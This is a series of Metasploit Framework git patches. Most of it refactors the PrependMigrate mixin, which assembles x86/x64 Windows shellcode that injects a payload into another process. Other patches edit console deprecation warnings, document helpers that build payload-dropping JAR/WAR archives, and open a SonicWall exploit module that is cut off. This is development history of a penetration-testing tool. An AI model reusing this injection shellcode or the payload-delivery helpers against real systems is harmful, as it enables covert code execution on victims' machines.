b/lib/msf/core/payload/windows/prependmigrate.rb @@ -5,7 +5,7 @@ require 'msf/core' # This mixin provides support for generating PrependMigrate blocks for Windows payloads # ### -module Msf::Payload::PrependMigrate +module Msf::Payload::Windows::PrependMigrate # # Initialize @@ -21,27 +21,32 @@ module Msf::Payload::PrependMigrate ret end + # + # Returns the state of the PrependMigrate option + # See https://github.com/rapid7/metasploit-framework/pull/917 + # for discussion. + # + def prepend_migrate? + !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') + end + # # Overload the generate() call to prefix our stubs # - def generate(*args) + def prepends # Call the real generator to get the payload - buf = super(*args) + buf = super pre = '' test_arch = [ *(self.arch) ] - # Handle all x86 code here - if test_arch.include?(ARCH_X86) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + if prepend_migrate? + # Handle all x86 code here + if test_arch.include?(ARCH_X86) migrate_asm = prepend_migrate(buf) pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string - end - # Handle all x64 code here - elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + # Handle all x64 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) migrate_asm = prepend_migrate_64(buf) pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end @@ -57,96 +62,96 @@ module Msf::Payload::PrependMigrate procname = datastore['PrependMigrateProc'] || 'rundll32' # Prepare instructions to get address of block_api into ebp - block_api_start = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module -;-------------------------------------------------------------------------------------- -EOS - block_api_ebp_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... + finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + ;-------------------------------------------------------------------------------------- + EOS + block_api_ebp_asm = <<-EOS + pop ebp ; Pop off the address of 'api_call' for calling later. + EOS block_close_to_payload = '' # Check if we can find block_api in the payload @@ -156,114 +161,114 @@ EOS # Prepare instructions to calculate address ebp_offset = "0x%04x" % (block_api_index + 5) - block_api_ebp_asm = <Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module -EOS - block_api_rbp_asm = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name + loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... + finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module + EOS + block_api_rbp_asm = <<-EOS + pop rbp ; Pop off the address of 'api_call' for calling later. + EOS block_close_to_payload = '' # Check if we can find block_api in the payload @@ -378,112 +383,112 @@ EOS # Prepare instructions to calculate address rbp_offset = "0x%04x" % (block_api_index + 5) - block_api_rbp_asm = < Date: Tue, 22 Jan 2013 13:56:26 -0600 Subject: [PATCH 028/448] Unstupid the prepends callback Windows#prepends was overriding PrependMigrate#prepends --- lib/msf/core/payload/windows.rb | 8 +------- lib/msf/core/payload/windows/prependmigrate.rb | 4 +--- 2 files changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 78edd966ad..51c4ba4c91 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,6 +12,7 @@ require 'msf/core/payload/windows/prependmigrate' ### module Msf::Payload::Windows + # Provides the #prepends method include Msf::Payload::Windows::PrependMigrate # @@ -26,13 +27,6 @@ module Msf::Payload::Windows } - # @abstract Override to add additional stubs to prepend to the final - # shellcode. Be sure to call super so other modules may add stubs. - # @return [String] Stub to place at the begginning of generated shellcode - def prepends - "" - end - def generate(*args) return prepends + super end diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prependmigrate.rb index a1c8c6b2d7..f89d37af40 100644 --- a/lib/msf/core/payload/windows/prependmigrate.rb +++ b/lib/msf/core/payload/windows/prependmigrate.rb @@ -34,8 +34,6 @@ module Msf::Payload::Windows::PrependMigrate # Overload the generate() call to prefix our stubs # def prepends - # Call the real generator to get the payload - buf = super pre = '' test_arch = [ *(self.arch) ] @@ -51,7 +49,7 @@ module Msf::Payload::Windows::PrependMigrate pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end end - return (pre + buf) + return pre end # From c37510f7777d3169962d0b3173e036387bc7fc67 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 14:15:52 -0600 Subject: [PATCH 029/448] Move prependmigrate.rb for naming consistency --- lib/msf/core/payload/windows.rb | 2 +- .../payload/windows/{prependmigrate.rb => prepend_migrate.rb} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/msf/core/payload/windows/{prependmigrate.rb => prepend_migrate.rb} (100%) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 51c4ba4c91..773a37447c 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/windows/prependmigrate' +require 'msf/core/payload/windows/prepend_migrate' ### # diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb similarity index 100% rename from lib/msf/core/payload/windows/prependmigrate.rb rename to lib/msf/core/payload/windows/prepend_migrate.rb From ff7756cd544d2459019e71defabd71f5ac00af17 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 16:10:44 -0600 Subject: [PATCH 030/448] Make #prepends() actually work --- lib/msf/core/payload/windows.rb | 6 +++--- lib/msf/core/payload/windows/prepend_migrate.rb | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 773a37447c..9dc956c8d8 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/windows/prepend_migrate' ### # @@ -12,6 +11,7 @@ require 'msf/core/payload/windows/prepend_migrate' ### module Msf::Payload::Windows + require 'msf/core/payload/windows/prepend_migrate' # Provides the #prepends method include Msf::Payload::Windows::PrependMigrate @@ -27,8 +27,8 @@ module Msf::Payload::Windows } - def generate(*args) - return prepends + super + def generate + return prepends(super) end # diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index f89d37af40..5d912653eb 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -33,7 +33,7 @@ module Msf::Payload::Windows::PrependMigrate # # Overload the generate() call to prefix our stubs # - def prepends + def prepends(buf) pre = '' test_arch = [ *(self.arch) ] @@ -49,7 +49,7 @@ module Msf::Payload::Windows::PrependMigrate pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end end - return pre + return pre + buf end # From 17dad0e67b1160d82e198590da0898b261aadce5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 24 Jan 2013 11:02:43 -0600 Subject: [PATCH 031/448] Update the deprecation note, add to msfconsole This will cause msfconsole to throw a warning as well as msfupdate. The deadline for action is also set at the end of February. --- msfconsole | 22 ++++++++++++++++++++-- msfupdate | 11 +++++++---- 2 files changed, 27 insertions(+), 6 deletions(-) diff --git a/msfconsole b/msfconsole index ea8add619e..8c4c718c9a 100755 --- a/msfconsole +++ b/msfconsole @@ -14,12 +14,12 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +@msfbase_dir = File.expand_path(File.dirname(msfbase)) + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) require 'fastlib' require 'msfenv' - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'optparse' @@ -30,6 +30,24 @@ if(RUBY_PLATFORM =~ /mswin32/) $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" end +def is_svn + File.directory?(File.join(@msfbase_dir, ".svn")) +end + +def print_deprecation_warning + $stdout.puts "" + $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" + $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" + $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" + $stdout.puts "[*] then. You will also need outbound access to github.com:9418/TCP." +end + +if is_svn + print_deprecation_warning +end + + class OptsConsole # # Return a hash describing the options. diff --git a/msfupdate b/msfupdate index 058fd8f51e..13e9cf8e77 100755 --- a/msfupdate +++ b/msfupdate @@ -53,10 +53,13 @@ def add_git_upstream end def print_deprecation_warning - $stdout.puts "[*] Deprecation Note: The next version of Metasploit will" - $stdout.puts "[*] update over the git protocol, which requires outbound" - $stdout.puts "[*] access to github.com:9418/TCP." - $stdout.puts "[*] Please adjust your egress firewall rules accordingly." + $stdout.puts "" + $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" + $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" + $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" + $stdout.puts "[*] then. You will also need outbound access to github.com:9418/TCP." + $stdout.puts "" end def maybe_wait_and_exit(exit_code=0) From d9e1653443bbf0e764b1a154b20bc46bd7e72f71 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Thu, 24 Jan 2013 17:14:25 -0600 Subject: [PATCH 032/448] Use EXITFUNC if present to save space and be more correct. Jump straight to payload on process failure to save space. --- .../core/payload/windows/prepend_migrate.rb | 56 ++++++++++++++----- 1 file changed, 41 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 5d912653eb..b8fb679db5 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -147,6 +147,23 @@ module Msf::Payload::Windows::PrependMigrate jmp.i8 next_mod ; Process this module ;-------------------------------------------------------------------------------------- EOS + + # Prepare default exit block (sleep for a long long time) + exitblock = <<-EOS + ;sleep + push -1 + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( ... ); + EOS + + # Check to see if we can find exitfunc in the payload + exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" + + "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5") + if exitfunc_index + exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) + exitblock = "exitblock:\njmp $+#{exitblock_offset}" + end + block_api_ebp_asm = <<-EOS pop ebp ; Pop off the address of 'api_call' for calling later. EOS @@ -213,9 +230,7 @@ module Msf::Payload::Windows::PrependMigrate ; if we didn't get a new process, use this one test eax,eax - jnz goodProcess ; Skip this next block if we got a new process - dec eax - mov [edi], eax ; handle = NtCurrentProcess() + jz payload ; If process creation failed, jump to shellcode goodProcess: ; allocate memory in the process (VirtualAllocEx()) @@ -254,10 +269,7 @@ module Msf::Payload::Windows::PrependMigrate push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); - ;sleep - push -1 - push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) - call ebp ; Sleep( ... ); + #{exitblock} ; jmp to exitfunc or long sleep getcommand: call gotcommand @@ -266,6 +278,7 @@ module Msf::Payload::Windows::PrependMigrate #{block_close_to_payload} begin_of_payload: call begin_of_payload_return + payload: EOS migrate_asm end @@ -369,6 +382,24 @@ module Msf::Payload::Windows::PrependMigrate mov rdx, [rdx] ; Get the next module jmp next_mod ; Process this module EOS + + # Prepare default exit block (sleep for a long long time) + exitblock = <<-EOS + ;sleep + xor rcx,rcx + dec rcx ; rcx = -1 + mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call rbp ; Sleep( ... ); + EOS + + # Check to see if we can find x64 exitfunc in the payload + exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" + + "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5") + if exitfunc_index + exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) + exitblock = "exitblock:\njmp $+#{exitblock_offset}" + end + block_api_rbp_asm = <<-EOS pop rbp ; Pop off the address of 'api_call' for calling later. EOS @@ -432,9 +463,7 @@ module Msf::Payload::Windows::PrependMigrate ; if we didn't get a new process, use this one test rax,rax - jnz goodProcess ; Skip this next block if we got a new process - dec rax - mov [rdi], rax ; handle = NtCurrentProcess() + jz payload ; If process creation failed, jump to shellcode goodProcess: ; allocate memory in the process (VirtualAllocEx()) @@ -473,11 +502,7 @@ module Msf::Payload::Windows::PrependMigrate mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); - ;sleep - xor rcx,rcx - dec rcx ; rcx = -1 - mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) - call rbp ; Sleep( ... ); + #{exitblock} ; jmp to exitfunc or long sleep getcommand: call gotcommand @@ -486,6 +511,7 @@ module Msf::Payload::Windows::PrependMigrate #{block_close_to_payload} begin_of_payload: call begin_of_payload_return + payload: EOS migrate_asm end From 3fc9b5d636a8ba4b326ab3c77ed5bb2e6f596120 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 00:01:45 -0600 Subject: [PATCH 033/448] Doc cleanup --- lib/msf/core/payload/java.rb | 6 ++-- lib/msf/util/exe.rb | 56 +++++++++++++++++++++++++----------- 2 files changed, 42 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 37e563e6ee..824db13b08 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -66,9 +66,9 @@ module Msf::Payload::Java # Like #generate_jar, this method is used by stagers to create a war file # as a Rex::Zip::Jar object. # - # +opts+ can include: - # +:app_name+:: the name of the \ attribute in the web.xml. - # Defaults to "NAME" + # @param opts [Hash] + # @option :app_name [String] Name of the \ attribute in the + # web.xml. Defaults to random # def generate_war(opts={}) raise if not respond_to? :config diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 40f14ed747..33a41ca7c3 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,21 +1,13 @@ # -*- coding: binary -*- -## -# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ -## -### -# -# framework-util-exe -# -------------- +module Msf +module Util + # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # -### - -module Msf -module Util class EXE require 'rex' @@ -609,6 +601,7 @@ require 'digest/sha1' end # Create an ELF executable containing the payload provided in +code+ + # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable @@ -1187,8 +1180,9 @@ End Sub # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # See also: +Msf::Core::Payload::Java+ + # @see Msf::Payload::Java # + # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1205,8 +1199,30 @@ End Sub zip end - # Creates a Web Archive (WAR) file from the provided jsp code. Additional options - # can be provided via the "opts" hash. + # Creates a Web Archive (WAR) file from the provided jsp code. + # + # On Tomcat, WAR files will be deployed into a directory with the same name + # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the + # server is in a default configuration, deoployment will happen + # automatically. See + # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat + # documentation} for a description of how this works. + # + # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ + # in the archive. This will be compiled by the victim servlet container + # (e.g., Tomcat) and act as the main function for the servlet. + # @param opts [Hash] + # @option opts :jsp_name [String] Name of the in the archive + # _without the .jsp extension_. Defaults to random. + # @option opts :app_name [String] Name of the app to put in the + # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to + # random. + # @option opts :extra_files [Array] Additional files to add + # to the archive. First elment is filename, second is data + # + # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} + # + # @return [String] def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1247,9 +1263,15 @@ End Sub return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. - # The jsp page converts the hexdump back to a normal .exe file and places it in - # the temp directory. The payload .exe file is then executed. + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) def self.to_jsp_war(exe, opts={}) # begin .jsp From 044fefd02aab9117238b698bca48ec1b1f2f523d Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 00:02:26 -0600 Subject: [PATCH 034/448] Initial support for Java target Still some debugging junk, needs some more love. --- .../multi/http/sonicwall_gms_upload.rb | 168 +++++++----------- 1 file changed, 60 insertions(+), 108 deletions(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 4abf1ce645..175e676f4a 